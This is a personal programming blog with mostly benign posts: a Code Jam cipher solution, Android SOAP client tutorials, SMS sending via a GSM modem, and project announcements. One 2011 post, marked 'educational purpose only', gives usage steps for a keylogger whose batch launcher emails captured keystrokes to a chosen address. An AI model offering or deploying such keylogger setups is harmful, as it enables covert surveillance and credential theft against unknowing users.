skip to main |
skip to sidebar
RSS Feeds
Nope. nothing .. just some random thoughts come to my mind ...
Nope. nothing .. just some random thoughts come to my mind ...
11:42 AM | Wednesday, July 3, 2013
Posted by harshadura
3:35 PM | Wednesday, July 4, 2012
Posted by harshadura
package javaapplication1;
import java.util.logging.Logger;
import org.apache.commons.httpclient.*;
import org.apache.commons.httpclient.methods.PostMethod;
public class Main {
private final static Logger LOGGER = Logger.getLogger(Main.class.getName());
public static void main(String args[]) {
try {
PostMethod post = new PostMethod("http://23.21.69.166/ralapanawa/RalaWS.php");
post.addParameter("tank_id", "kalawewa");
HttpClient client = new HttpClient();
int status = client.executeMethod(post);
String response = post.getResponseBodyAsString();
LOGGER.info("Request sent! > Reponse : " + response);
} catch (Exception e) {
LOGGER.info("Error : " + e.getMessage());
}
}
}
11:46 PM | Saturday, April 14, 2012
Posted by harshadura
| Input |
3
|
| Output |
Case #1: our language is impossible to understand |
/**
* Google Code Jam - Qualification Round 2012
* Problem A. Speaking in Tongues
* Author : harshadura@gmail.com
* @harshadura
*/
import java.io.*;
public class Main {
private static String[] EncryptedLines;
private static String[] DecryptedLines;
public static void main(String[] args) {
int i = 0;
int j = 0;
int count = 0;
try {
FileInputStream fstream = new FileInputStream("C:\\Users\\Harsha\\Documents\\NetBeansProjects\\GoogleCodeJamA\\A-small-attempt3.in");
DataInputStream in = new DataInputStream(fstream);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String strLine;
EncryptedLines = new String[100];
while ((strLine = br.readLine()) != null) {
EncryptedLines[i++] = strLine;
System.out.println(strLine);
++count;
}
in.close();
} catch (Exception e) {
System.err.println("Error: " + e.getMessage());
}
DecryptedLines = new String[count - 1];
int numTests = Integer.valueOf(EncryptedLines[0]);
if (numTests < 1 || numTests > 30){
System.out.println("Invalid Input!!!!!!!!");
System.exit(0);
}
for (i = 1; i <= numTests; i++) {
DecryptedLines[j++] = "Case #" + i + ": " + ConvertLine(EncryptedLines[i]);
}
String writableString = "";
for (int k = 0; k < DecryptedLines.length; k++) {
if (k + 1 == DecryptedLines.length) {
writableString = writableString + DecryptedLines[k];
break;
}
writableString = writableString + DecryptedLines[k] + "\n";
}
writeToFile(writableString);
}
public static String ConvertLine(String plainText) {
int size = plainText.length();
String decripted = "";
if (size > 100) {
System.out.println("More than 100 Characters exceeded for a Single Case and Thats Invalid!!!!!!!!");
System.exit(0);
}
for (int i = 0; i < size; i++) {
decripted = decripted + charMap(plainText.charAt(i));
}
return decripted;
}
public static void writeToFile(String WrittenText) {
try {
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
String file_name = "A-small-attempt3.out";
FileWriter fstream = new FileWriter(file_name);
BufferedWriter out = new BufferedWriter(fstream);
out.write(WrittenText);
out.close();
System.out.println("File created successfully.");
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
public static char charMap(char x) {
switch (x) {
case 'a':
return 'y';
case 'b':
return 'h';
case 'c':
return 'e';
case 'd':
return 's';
case 'e':
return 'o';
case 'f':
return 'c';
case 'g':
return 'v';
case 'h':
return 'x';
case 'i':
return 'd';
case 'j':
return 'u';
case 'k':
return 'i';
case 'l':
return 'g';
case 'm':
return 'l';
case 'n':
return 'b';
case 'o':
return 'k';
case 'p':
return 'r';
case 'q':
return 'z';
case 'r':
return 't';
case 's':
return 'n';
case 't':
return 'w';
case 'u':
return 'j';
case 'v':
return 'p';
case 'w':
return 'f';
case 'x':
return 'm';
case 'y':
return 'a';
case 'z':
return 'q';
}
return x;
}
}
6:47 PM | Saturday, February 4, 2012
Posted by harshadura
Hi Guys!
After lot of effort I have completed one of the tutorials regarding KSOAP Web Services with Android. :D
So I would like to describe how I have solved the things for any case some one will get the use and well for my future reference as well.
package com.pxr.tutorial.soap.weather;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;
import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;
public class Main extends Activity {
private static String SOAP_ACTION = "http://tempuri.org/HelloWorld";
private static String NAMESPACE = "http://tempuri.org/";
private static String METHOD_NAME = "HelloWorld";
private static String URL = "http://bimbim.in/Sample/TestService.asmx?WSDL";
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Initialize soap request + add parameters
SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("Parameter","Value");
SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.setOutputSoapObject(request);
// Make the soap call.
HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
try {
//this is the actual part that will call the webservice
androidHttpTransport.call(SOAP_ACTION, envelope);
} catch (Exception e) {
e.printStackTrace();
}
// Get the SoapResult from the envelope body.
SoapObject result = (SoapObject)envelope.bodyIn;
if(result != null){
TextView t = (TextView)this.findViewById(R.id.resultbox);
t.setText("SOAP response:\n\n" + result.getProperty(0).toString());
}
}
}
package com.harshadura.img_wsdl;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
public class Main extends Activity {
ImageView image;
String extStorageDirectory;
Bitmap decodedByte;
private int iterator = 0;
Button btnStartProgress;
ProgressDialog progressBar;
private int progressBarStatus = 0;
private Handler progressBarHandler = new Handler();
private static String SOAP_ACTION = "http://tempuri.org/TestMethod";
private static String NAMESPACE = "http://tempuri.org/";
private static String METHOD_NAME = "TestMethod";
private static String URL = "http://test.org/ws/testService.asmx?WSDL";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Button buttonDownload = (Button) findViewById(R.id.downloadImages);
Button buttonDisplay = (Button) findViewById(R.id.displayImages);
buttonDownload.setOnClickListener(buttonSaveOnClickListener);
buttonDisplay.setOnClickListener(buttonDisplayClickListener);
createDirIfNotExists("MyImages");
extStorageDirectory = Environment.getExternalStorageDirectory()
.toString() + "/MyImages/";
Log.v("path", extStorageDirectory);
}
public int doSomeTasks() {
String[] imageIDs = { "123", "124", "125" };
while (iterator < imageIDs.length) {
getEncodedImageFromService(imageIDs[iterator]);
switch (iterator) {
case 1:
return 10;
case 2:
return 20;
case 3:
return 30;
case 4:
return 40;
case 5:
return 50;
case 6:
return 60;
case 7:
return 70;
case 8:
return 80;
case 9:
return 90;
case 10:
return 100;
}
}
return 100;
}
public static boolean createDirIfNotExists(String path) {
boolean ret = true;
File file = new File(Environment.getExternalStorageDirectory(), path);
if (!file.exists()) {
if (!file.mkdirs()) {
Log.e("TravellerLog :: ", "Problem creating Image folder");
ret = false;
}
}
return ret;
}
Button.OnClickListener buttonDisplayClickListener = new Button.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(Main.this, ImageGallery.class);
startActivity(intent);
}
};
Button.OnClickListener buttonSaveOnClickListener = new Button.OnClickListener() {
@Override
public void onClick(View v) {
progressBar = new ProgressDialog(v.getContext());
progressBar.setCancelable(true);
progressBar.setMessage("Retrieving Data...");
progressBar.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
progressBar.setProgress(0);
progressBar.setMax(100);
progressBar.show();
progressBarStatus = 0;
new Thread(new Runnable() {
public void run() {
while (progressBarStatus < 100) {
progressBarStatus = doSomeTasks();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
progressBarHandler.post(new Runnable() {
public void run() {
progressBar.setProgress(progressBarStatus);
}
});
}
if (progressBarStatus >= 100) {
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
iterator = 0;
progressBar.dismiss();
}
}
}).start();
}
};
public void getEncodedImageFromService(String imageID) {
SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("ImageId", imageID);
SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(
SoapEnvelope.VER11);
envelope.dotNet = true;
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
try {
androidHttpTransport.call(SOAP_ACTION, envelope);
} catch (Exception e) {
e.printStackTrace();
}
SoapObject result;
result = (SoapObject) envelope.bodyIn;
if (result != null) {
String encodedImage = result.getProperty(0).toString();
Log.v("TAG", encodedImage);
byte[] decodedString = Base64.decode(encodedImage, Base64.DEFAULT);
decodedByte = BitmapFactory.decodeByteArray(decodedString, 0,
decodedString.length);
SaveToSDCard();
}
}
public void SaveToSDCard() {
String imagename = "image" + (iterator + 1) + ".png";
OutputStream outStream = null;
File file = new File(extStorageDirectory, imagename);
try {
outStream = new FileOutputStream(file);
decodedByte.compress(Bitmap.CompressFormat.PNG, 100, outStream);
outStream.flush();
outStream.close();
} catch (Exception e) {
e.printStackTrace();
}
iterator++;
}
}
9:28 AM | Wednesday, December 14, 2011
Posted by harshadura
9:44 AM | Monday, November 28, 2011
Posted by harshadura
[Educational Purpose Only]
############################################ UltraXKeyLogger v0.5 ############################################ --------------------------- Prerequisites --------------------------- (01) Java --------------------------- Configuring the KeyMailer --------------------------- Right Click the "start.bat" and open it with NotePad++ or whatever suitable editor you have! Ok now you will see this text on it! ------------------------------------ @echo off cd dist start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000 @echo on ------------------------------------ We have to modify few parameters in the 3rd line in order to recieve logs for relavant email Address. ----------------------------------- start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000 ------------------------------------ well!! I will explain lil bit. ------------------------------------ start Logger.exe & start javaw -jar KeyMailer.jar <Log Recievers Email Address> <Email log recieving time delay> ------------------------------------ *Log Recievers Email Address : put an email of your choice this will reeive the logs. *Email log recieving time delay: the time delay for a Log after a log. [1000 = 1 Second] so this default value implies 5 Seconds. if you need like a 10 Min delay then it should be 1000 X 60 X 10 = 600000 not 1000*60*10 you should calulate it and giv the final value to it. jz said thats it. xD So Adjust them as you like! Save the File properly, And then Jz Run the same "start.bat" You have just started the Keylogger!! Just hit some buttons and check your mails. Voila!! you should recieved the KeyLog!! xD
12:04 PM | Saturday, October 29, 2011
Posted by harshadura
Hello Everyone!
Today I am going to tell you about how to Simply send SMS by using your HSDPA dongle or GSM modem. Cool! Isnt It? yes Its not that Difficult too. I have tried so many ways to Accomplish this problem. After so many Attempts I got the way to do. So well I will tell you how I have done that.

package logic;
import com.harshadura.gsm.smsdura.GsmModem;
public class TestSMS {
private static String port = "COM3"; //Modem Port.
private static int bitRate = 115200; //this is also optional. leave as it is.
private static String modemName = "ZTE"; //this is optional.
private static String modemPin = "0000"; //Pin code if any have assigned to the modem.
private static String SMSC = "+9477000003"; //Message Center Number ex. Mobitel
public static void main(String[] args) throws Exception {
GsmModem gsmModem = new GsmModem();
GsmModem.configModem(port, bitRate, modemName, modemPin, SMSC);
gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg)
}
}
Okay in here. you will notice that you have to first find out the port number of your USB modem/dongle.
for that you can simply right click the MyComputer Icon > goto Mange > then Search for Modems > then it will pop up a interface with several tabs.gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg)
Exception in thread "main" org.smslib.GatewayException: Comm library exception: java.lang.RuntimeException: javax.comm.NoSuchPortException at org.smslib.modem.SerialModemDriver.connectPort(SerialModemDriver.java:102) at org.smslib.modem.AModemDriver.connect(AModemDriver.java:114) at org.smslib.modem.ModemGateway.startGateway(ModemGateway.java:189) at org.smslib.Service$1Starter.run(Service.java:276) Java Result: 1
9:06 AM |
Posted by harshadura
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.harshadura.gsm</groupId>
<artifactId>smsdura</artifactId>
<packaging>jar</packaging>
<version>1.0</version>
<name>smsdura</name>
<url>http://maven.apache.org</url>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>${project.build.directory}/classes/lib</outputDirectory>
<overWriteReleases>false</overWriteReleases>
<overWriteSnapshots>false</overWriteSnapshots>
<overWriteIfNewer>true</overWriteIfNewer>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.comm</groupId>
<artifactId>comm</artifactId>
<version>2.0.3</version>
<scope>system</scope>
<systemPath>${basedir}/lib/comm.jar</systemPath>
</dependency>
<dependency>
<groupId>commons-net</groupId>
<artifactId>commons-net</artifactId>
<version>3.0.1</version>
<scope>system</scope>
<systemPath>${basedir}/lib/commons-net-3.0.1.jar</systemPath>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.16</version>
<scope>system</scope>
<systemPath>${basedir}/lib/log4j-1.2.16.jar</systemPath>
</dependency>
<dependency>
<groupId>jsmpp</groupId>
<artifactId>jsmpp</artifactId>
<version>2.1.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/jsmpp-2.1.0.jar</systemPath>
</dependency>
<dependency>
<groupId>smslib</groupId>
<artifactId>smslib</artifactId>
<version>3.5.1</version>
<scope>system</scope>
<systemPath>${basedir}/lib/smslib-3.5.1.jar</systemPath>
</dependency>
<dependency>
<groupId>RXTXcomm</groupId>
<artifactId>RXTXcomm</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/RXTXcomm.jar</systemPath>
</dependency>
<dependency>
<groupId>pduutils</groupId>
<artifactId>pduutils</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/pduutils.jar</systemPath>
</dependency>
</dependencies>
</project>
After then just type
mvn clean install
4:00 PM | Saturday, October 8, 2011
Posted by harshadura
This is a Project which I have done with few of my colleagues specifically for SLIIT ITP Subject.
I have open sourced the Full source Code at github and rest of the project gonna Open sourced at Sourceforge FOSS home.
I am really thankful to Roshan Ayya, Dr. Dikaz Sheriff at Western Hospital, Colombo for giving lots of helps to make this Product a Success.
The ripen is a lil intro on whats it? and how it works.
visit the official project web portal to see more.thx

8:47 PM | Wednesday, September 28, 2011
Posted by harshadura
Here is my latest project. Its a Credit Management System using JavaSE.
For this project I have used Jasper IReports for the reporting part. And other look and feel components as well.
Full free open source coding can be found in git :
https://github.com/harshadura/
9:27 AM | Thursday, September 15, 2011
Posted by harshadura
This is simple Video Tutorial I have done to Connect Synthetica Look and Feel theme to a Java Swing Application. If you guyz interested in making your java Swing GUI looks so amazing just give this a try!
You can find the full version jars here : http://www.mediafire.com/?lu4zpqs7sji2d1q